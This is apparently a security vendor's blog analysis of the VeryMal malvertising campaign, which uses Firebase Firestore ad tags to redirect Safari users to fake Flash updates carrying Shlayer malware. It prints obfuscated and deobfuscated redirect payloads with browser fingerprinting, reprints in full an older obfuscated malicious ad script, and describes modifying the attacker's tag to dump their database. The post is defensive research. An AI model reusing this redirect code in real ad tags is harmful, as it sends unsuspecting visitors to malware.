Shlayer Purveyor VeryMal Renounces Steganography In Favor Of Google Firebase As Malvertisers Shift Towards Subtle Payloads
On January 23rd, we published a detailed report in collaboration with Malwarebytes concerning a prolific and persistent malvertiser that we named VeryMal:
The bad actor is known for running large scale fake Flash update campaigns that are hosted on .icu domains by way of display ad auto-redirects:
True to their persistent nature, these forced redirect campaigns have not subsided, but the delivery mechanism continues to evolve in a new and clever direction.
Steganography is no longer part of the equation for the campaign that spawned the redirect above, but rather a seemingly innocuous ad tag is to blame:
VeryMal’s Firebase Creative
Firebase is a feature rich, cloud hosted backend suite that is typically used for mobile app development. Firestore, a component of this suite, which is being leveraged in the creative tag above, is a NoSQL database with a client-side API.
The code in the tag actually does nothing more than request an entry from the attacker’s Firestore DB and then execute it as JavaScript using the eval() statement on line 27.
A closer look at the payload returned from Firestore reveals what can be described as a more traditional looking malvertising payload with elements of fingerprinting and obfuscation:
Firestore Payload
The entry point for this code is the condition on line 58:
if (window[b(’0x0’, ‘IucK’)] && window[b(’0x1’, ‘ArWG’)]) {
var c = escape(navigator[b(’0x2’, ‘ArWG’)][b(’0x3’, ‘O#Bz’)]());
if (c === b(’0x4’, ‘pXZy’)) {
top[b(’0x5’, ‘^lpG’)][b(’0x6’, ‘R4Wo’)] =
b(’0x7’, ‘5T@X’) + firekey + b(’0x8’, ‘Tpaq’) + vokey;
}
}A breakpoint set on the if statement helps to easily reveal the fingerprinting check being conducted and the endpoint for the redirection:
Now we can make the code a little more palatable. Unobfuscated, it would look something like this:
if (window[”devicePixelRatio”] && window[”WebKitPlaybackTargetAvailabilityEvent”]) {
var c = escape(navigator[”javaEnabled”][”toString”]());
if (c === “function%20javaEnabled%28%29%20%7B%0A%20%20%20%20%5Bnative%20code%5D%0A%7D”) {
top[”location”][”href”] =
“hxxp://ww2.ainchoos.com/6bceaef8-645c-46b5-b2ac-c430e02c58e3?var1=137812”;
}
}The devicePixelRatio and WebKitPlaybackTargetAvailabilityEvent checks are meant to determine if the payload landed on desktop Safari, which is very well aligned with the VeryMal M.O.
The sub-condition checks to see if navigator.javaEnabled() has been tampered with in the current environment or not.
Finally, the payload will redirect the unsuspecting visitor.
Even though the act of loading this payload, the obfuscation, and the fingerprinting is not exactly a technical feat — the significance of utilizing a technology like Firebase in this way helps to illustrate the demarcation of an emerging trend in the malvertising world.
Let’s take a moment to compare the Firebase tag above to the very first malvertising tag that we covered on our blog 1.5 years ago.
This is what a typical malvertisement looked like at the time:
<script type=”application/javascript” src=”data:text/javascript;base64,var _0x4aaf = [
‘\x6f\x70\x65\x6e’,
‘\x4f\x47\x68’,
‘\x68\x69\x73\x74\x6f\x72\x79’,
‘\x62\x61\x63\x6b’,
‘\x6f\x6e\x74\x6f\x75\x63\x68\x6d\x6f\x76\x65’,
‘\x5a\x48\x74’,
‘\x65\x76\x65\x6e\x74’,
‘\x70\x72\x65\x76\x65\x6e\x74\x44\x65\x66\x61\x75\x6c\x74’,
‘\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65’,
‘\x72\x65\x61\x64\x79’,
‘\x34\x7c\x31\x7c\x30\x7c\x32\x7c\x33\x7c\x35’,
‘\x73\x70\x6c\x69\x74’,
‘\x61\x74\x74\x61\x63\x68’,
‘\x62\x6f\x64\x79’,
‘\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72’,
‘\x63\x6c\x69\x63\x6b’
];
(function (_0x4404b9, _0x5f312b) {
var _0x18899c = function (_0x14054b) {
while ( — _0x14054b) {
_0x4404b9[‘\x70\x75\x73\x68’](_0x4404b9[‘\x73\x68\x69\x66\x74’]());
}
};
_0x18899c(++_0x5f312b);
}(_0x4aaf, 0xf9));
var _0xf4aa = function (_0x57d8a9, _0x3f63b9) {
_0x57d8a9 = _0x57d8a9–0x0;
var _0x26a3c0 = _0x4aaf[_0x57d8a9];
return _0x26a3c0;
};
$(document)[_0xf4aa(‘0x0’)](function () {
var _0x29b38b = {
‘\x55\x74\x78’: function _0x13ecb0(_0xbc5fa6, _0x28a604) {
return _0xbc5fa6(_0x28a604);
},
‘\x5a\x48\x74’: function _0x586098(_0xd65e1a, _0x5b6910, _0x2a173b) {
return _0xd65e1a(_0x5b6910, _0x2a173b);
}
};
var _0x57d593 = _0xf4aa(‘0x1’)[_0xf4aa(‘0x2’)](‘\x7c’), _0x11b033 = 0x0;
while (!![]) {
switch (_0x57d593[_0x11b033++]) {
case ‘\x30’:
_0x29b38b[‘\x55\x74\x78’]($, function () {
FastClick[_0xf4aa(‘0x3’)](document[_0xf4aa(‘0x4’)]);
});
continue;
case ‘\x31’:
var _0x2ea3e9 = ![];
continue;
case ‘\x32’:
document[_0xf4aa(‘0x5’)](_0xf4aa(‘0x6’), function (_0x4e289c) {
if (!_0x2ea3e9) {
window[_0xf4aa(‘0x7’)](‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x75\x6d\x68\x64\x2e\x76\x6f\x6c\x75\x75\x6d\x74\x72\x6b\x33\x2e\x63\x6f\x6d\x2f\x39\x63\x33\x64\x37\x39\x30\x64\x2d\x62\x66\x61\x61\x2d\x34\x63\x64\x34\x2d\x62\x66\x33\x34\x2d\x65\x35\x61\x39\x36\x66\x39\x34\x33\x39\x61\x32\x3f\x61\x66\x66\x5f\x73\x75\x62\x32\x3d\x63\x31\x32\x35\x63\x66\x36\x37\x2d\x30\x66\x39\x30\x2d\x34\x39\x64\x30\x2d\x62\x37\x65\x62\x2d\x32\x36\x30\x64\x62\x30\x62\x31\x37\x62\x33\x62\x5f\x31\x35\x30\x36\x36\x35\x32\x32\x30\x30\x26\x61\x66\x66\x5f\x73\x75\x62\x33\x3d\x4d\x45\x44\x49\x41\x4d\x41\x54\x48\x2d\x50\x52\x26\x61\x66\x66\x5f\x73\x75\x62\x34\x3d\x33\x32\x30\x78\x35\x30\x26\x61\x66\x66\x5f\x73\x75\x62\x36\x3d\x66\x72\x65\x65\x73\x74\x61\x72\x2e\x69\x6f\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x66\x72\x65\x65\x73\x74\x61\x72\x2e\x69\x6f\x26\x64\x6f\x6d\x61\x69\x6e\x5f\x69\x64\x3d\x39\x36\x64\x66\x63\x63\x31\x38\x31\x63\x38\x34\x39\x39\x66\x65\x62\x65\x37\x65\x35\x33\x32\x63\x37\x38\x36\x65\x39\x39\x36\x38\x26\x63\x61\x6d\x70\x61\x69\x67\x6e\x5f\x63\x6f\x75\x6e\x74\x72\x79\x3d\x53\x4b\x5f\x49\x4f\x53’);
_0x468a24[_0xf4aa(‘0x8’)](setTimeout, function () {
window[_0xf4aa(‘0x9’)][_0xf4aa(‘0xa’)]();
}, 0xbb8);
_0x2ea3e9 = !![];
}
window[_0xf4aa(‘0xb’)] = null;
}, ![]);
continue;
case ‘\x33’:
window[_0xf4aa(‘0xb’)] = preventDefault;
continue;
case ‘\x34’:
var _0x468a24 = {
‘\x4f\x47\x68’: function _0x4fbd8f(_0x447e62, _0x2beb9c, _0x2e890f) {
return _0x447e62(_0x2beb9c, _0x2e890f);
}
};
continue;
case ‘\x35’:
_0x29b38b[_0xf4aa(‘0xc’)](setTimeout, function () {
window[_0xf4aa(‘0xb’)] = null;
}, 0x3a98);
continue;
}
break;
}
});
function preventDefault(_0x51c136) {
_0x51c136 = _0x51c136 || window[_0xf4aa(‘0xd’)];
if (_0x51c136[‘\x70\x72\x65\x76\x65\x6e\x74\x44\x65\x66\x61\x75\x6c\x74’])
_0x51c136[_0xf4aa(‘0xe’)]();
_0x51c136[_0xf4aa(‘0xf’)] = ![];
}
;”></script><script type=”application/javascript” src=”data:text/javascript;base64,jdetects.create(function(status){if(status!=”off”){window.close();window.history.back();};});”></script></body></html>Even to the ad tech layman, the code here is obviously fishy. It’s bulky and mysterious, but more importantly there’s little effort to conceal that it’s meant to be hiding something, whereas the Firebase code looks very similar to typical vanilla ad tech.
The comparison is a great illustration of how in just a short amount of time the game has changed, and these days it’s all about subtle payload delivery. That’s exactly what we saw with VeryMal’s offensive steganography and what we’re continuing to see with this use of harmless looking Firestore code.
Fortunately, the anti-malvertising team at Google was quick to respond with a swift investigation and suspended the abused Firebase accounts.
Digging Deeper Into VeryMal’s Firestore Infrastructure And The Smoking Gun — A.K.A Malvertising Payloads Galore
Let’s rewind for a moment and go back to this line here:
if(doc.id==’c6EmRQb74YMpb7RiYuwp’){Maybe there are other documents these folks have concealed in their Firestore DB? With our grey hat on and a few modifications to their tag, we should be able dump all the entries in their DB instance.
Modified Firebase creative dumps the entire “users” collection
And now we have all of their Firestore entries for further analysis!
Right away we have some fascinating findings including the timestamps for when these entries were updated as well as 8 additional malvertising payloads!
The dates range from mid January to late February — so these payloads have definitely been in the works for a while, even alongside VeryMal’s steganography techniques.
It’s also probably worth a pause to have a chuckle at this thing:
Looks like VeryMal left us an artifact from their first foray into Firebase:
Regrettably, a full analysis of all 8 payloads is not practical for the purposes of this blog post, but we can stay the course towards our real goal — attribution.
The .icu Flash update is certainly a powerful indicator, but a landing page that’s funneled through a series of redirects does have an element of murkiness to it.
To prove that the attacker behind this malware campaign is definitively VeryMal, we have to find irrefutable similarities in the code, but luckily all this requires is a brief spot-check of the data.bin values in our payload dump above.
Right away we see the exact same font enumeration that the steganography payload leveraged:
But that was just a straw in the wind:
Our last and final check is to upload the Flash update binary to VirusTotal for confirmation that this is the same Shlayer malware that we have been tracking.
https://www.virustotal.com/#/file/063bbebb64e3b4f5f5844ca3cf46b69dc195e74a692bc9a977d35bed7edc0e3a/detection
One point that’s very clear from even a cursory analysis of these payloads is that this attacker is prepared to pivot at a moments notice. There are subtle and (not so subtle) variations in their client-side malware that show active development around fingerprinting techniques, steganography, domain variation, and even anti-debugging traps and sinks.
Things like this are specifically designed to thwart reverse engineering:
Which of course is an infinite breakpoint loop:
For the moment, the volumes behind the campaign using the Firebase vector were not as significant as the prior VeryMal activity that we reported, but still impactful enough to have caused some serious damage. We estimate that close to 1MM user sessions might have been exposed to this new malvertising campaign.
Confiant’s publisher customers were protected within minutes of the campaign surfacing.
















